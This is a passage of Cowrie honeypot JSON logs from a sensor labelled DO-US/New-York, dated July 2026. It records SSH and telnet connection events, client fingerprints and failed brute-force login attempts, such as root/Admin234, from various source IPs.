c","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:01.127503Z","src_ip":"45.143.200.246","session":"8e29a1313ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cron","message":"login attempt [root/cron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:01.578785Z","src_ip":"45.143.200.246","session":"8e29a1313ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:02.689055Z","src_ip":"45.143.200.246","session":"8e29a1313ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36718,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a6c1dd391e0","protocol":"telnet","message":"New connection: 170.64.224.25:36718 (159.203.135.109:23) [session: 0a6c1dd391e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:05.582350Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:07.985319Z","src_ip":"8.210.75.243","session":"710bfc342ce3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":35356,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3afdc2ed89d","protocol":"telnet","message":"New connection: 170.64.224.25:35356 (159.203.135.109:23) [session: c3afdc2ed89d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:12.081610Z"}
{"eventid":"cowrie.session.closed","duration":40.87667489051819,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:27.245813Z","src_ip":"170.64.224.25","session":"4634746c6703","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":60910,"dst_ip":"159.203.135.109","dst_port":22,"session":"bda809bebd3f","protocol":"ssh","message":"New connection: 45.94.68.69:60910 (159.203.135.109:22) [session: bda809bebd3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:30.753759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:30.757937Z","src_ip":"45.94.68.69","session":"bda809bebd3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:30.976001Z","src_ip":"45.94.68.69","session":"bda809bebd3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin234","message":"login attempt [root/Admin234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:31.865161Z","src_ip":"45.94.68.69","session":"bda809bebd3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:33.079685Z","src_ip":"45.94.68.69","session":"bda809bebd3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:35.647772Z","src_ip":"8.210.75.243","session":"f2d9e5b75da3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.210.75.243","src_port":44690,"dst_ip":"10.17.0.5","dst_port":22,"session":"83aac5b7dd93","protocol":"ssh","message":"New connection: 8.210.75.243:44690 (10.17.0.5:22) [session: 83aac5b7dd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:44.784505Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:44.788754Z","src_ip":"8.210.75.243","session":"83aac5b7dd93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.2061550617218,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:06:52.287668Z","src_ip":"170.64.224.25","session":"c3afdc2ed89d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:00.629364Z","src_ip":"8.210.75.243","session":"8c75f6d8e808","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.81080079078674,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:05.392996Z","src_ip":"170.64.224.25","session":"0a6c1dd391e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.51.138","src_port":40054,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac4d8c8c252c","protocol":"ssh","message":"New connection: 147.45.51.138:40054 (10.17.0.5:22) [session: ac4d8c8c252c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:06.491915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:06.498066Z","src_ip":"147.45.51.138","session":"ac4d8c8c252c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:06.587632Z","src_ip":"147.45.51.138","session":"ac4d8c8c252c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Gj123456","message":"login attempt [root/Gj123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:06.980211Z","src_ip":"147.45.51.138","session":"ac4d8c8c252c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:08.072542Z","src_ip":"147.45.51.138","session":"ac4d8c8c252c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":43308,"dst_ip":"159.203.135.109","dst_port":22,"session":"e47c18570cee","protocol":"ssh","message":"New connection: 143.20.185.207:43308 (159.203.135.109:22) [session: e47c18570cee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:08.230946Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:08.234807Z","src_ip":"143.20.185.207","session":"e47c18570cee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:08.428101Z","src_ip":"143.20.185.207","session":"e47c18570cee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"RASYAXINSA#8VCPU16GBAMD","message":"login attempt [root/RASYAXINSA#8VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:08.839430Z","src_ip":"143.20.185.207","session":"e47c18570cee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:09.955268Z","src_ip":"143.20.185.207","session":"e47c18570cee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.205.153","src_port":60780,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3f599b0a3c1","protocol":"ssh","message":"New connection: 152.32.205.153:60780 (10.17.0.5:22) [session: e3f599b0a3c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:14.601548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:14.604975Z","src_ip":"152.32.205.153","session":"e3f599b0a3c1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:14.614054Z","src_ip":"152.32.205.153","session":"e3f599b0a3c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qazwsx123","message":"login attempt [admin/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:14.688534Z","src_ip":"152.32.205.153","session":"e3f599b0a3c1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:15.701866Z","src_ip":"152.32.205.153","session":"e3f599b0a3c1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.188.93.169","src_port":2485,"dst_ip":"159.203.135.109","dst_port":22,"session":"67e88b816b85","protocol":"ssh","message":"New connection: 196.188.93.169:2485 (159.203.135.109:22) [session: 67e88b816b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:17.827001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:17.831291Z","src_ip":"196.188.93.169","session":"67e88b816b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:18.003037Z","src_ip":"196.188.93.169","session":"67e88b816b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest1","password":"guest1","message":"login attempt [guest1/guest1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:18.724961Z","src_ip":"196.188.93.169","session":"67e88b816b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:19.901799Z","src_ip":"196.188.93.169","session":"67e88b816b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"196.196.150.5","src_port":40184,"dst_ip":"10.17.0.5","dst_port":22,"session":"8847c513567e","protocol":"ssh","message":"New connection: 196.196.150.5:40184 (10.17.0.5:22) [session: 8847c513567e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:25.861328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:25.864290Z","src_ip":"196.196.150.5","session":"8847c513567e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:25.970562Z","src_ip":"196.196.150.5","session":"8847c513567e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Tg123456","message":"login attempt [root/Tg123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:26.440008Z","src_ip":"196.196.150.5","session":"8847c513567e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:27.549650Z","src_ip":"196.196.150.5","session":"8847c513567e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:34.955024Z","src_ip":"8.210.75.243","session":"c13235b8ec66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.143.200.246","src_port":36966,"dst_ip":"10.17.0.5","dst_port":22,"session":"90ef717ac702","protocol":"ssh","message":"New connection: 45.143.200.246:36966 (10.17.0.5:22) [session: 90ef717ac702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:39.171643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:39.176140Z","src_ip":"45.143.200.246","session":"90ef717ac702","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:39.278186Z","src_ip":"45.143.200.246","session":"90ef717ac702","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"q1w2e3","message":"login attempt [alex/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:39.717908Z","src_ip":"45.143.200.246","session":"90ef717ac702","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"74.48.105.66","src_port":40500,"dst_ip":"10.17.0.5","dst_port":22,"session":"34ee7660a117","protocol":"ssh","message":"New connection: 74.48.105.66:40500 (10.17.0.5:22) [session: 34ee7660a117]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:39.779649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:07:39.783690Z","src_ip":"74.48.105.66","session":"34ee7660a117","protocol":"ssh"}
